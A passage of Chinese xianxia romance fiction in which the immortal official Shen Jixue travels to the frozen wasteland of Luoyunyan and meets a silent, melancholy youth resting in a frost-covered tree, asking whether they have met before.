沈祭雪沉默地同司禄府仙官交接了差事,在几位同僚或同情或好奇的目光中,朝着落云烟而去。
越往北,便越发寒冷。周围的仙云逐渐被灰白色的寒雾取代,灵气稀薄得可怜。
不知飞了多久,前方出现了一片朦胧的景象。那是仿佛由凝固的云海构成的荒原,边缘矗立着几根歪歪斜斜的玉石柱子。
茫茫云海中,隐现一座孤零零的宫殿轮廓,空寂无人。
寒气刺骨,沈祭雪落下云头,踩在坚硬冰冷的云地上,环顾四周,万籁俱寂,只有风声呜咽。
她向前走了几步,余光瞥见殿旁庭院的一棵枯树上,似乎躺着个人。
那棵树早已落光了叶子,枝干虬结,覆了层白霜。
一个身着朴素灰衣的少年,悠闲地躺在枯树最粗的一根枝干上,双手枕在脑后,一条腿曲起,另一条腿随意晃荡着。
他看起来年纪很轻,黑瞳黑发,面容清秀,甚至带着点未脱的稚气。
少年察觉到有人来,停下动作,悄无声息地坐起身,微微侧过脸。
他不说话,只是眼眸一眨不眨地看着她。
沈祭雪莫名觉得那目光沉得厉害,不像少年人该有的清澈,倒像是积了万年风雪,千年岁月的亘古雪原,幽沉沉的,将她全然笼罩。
少年身上有种格格不入的沉郁,与这荒芜的落云烟一样,透着深入骨髓的孤寂。
他安静地看了她很久,似乎打定了主意,只要沈祭雪不开口,他就会一直沉默下去。
四周缓慢流淌过凝固的云,呜咽的风。一种莫名的情绪,在心底悄然滋生。
沈祭雪终于开口,清冷的声音在空寂云野中显得格外清晰。
“我们,”她顿了顿,言语间带着迟疑,“是不是曾在哪见过?”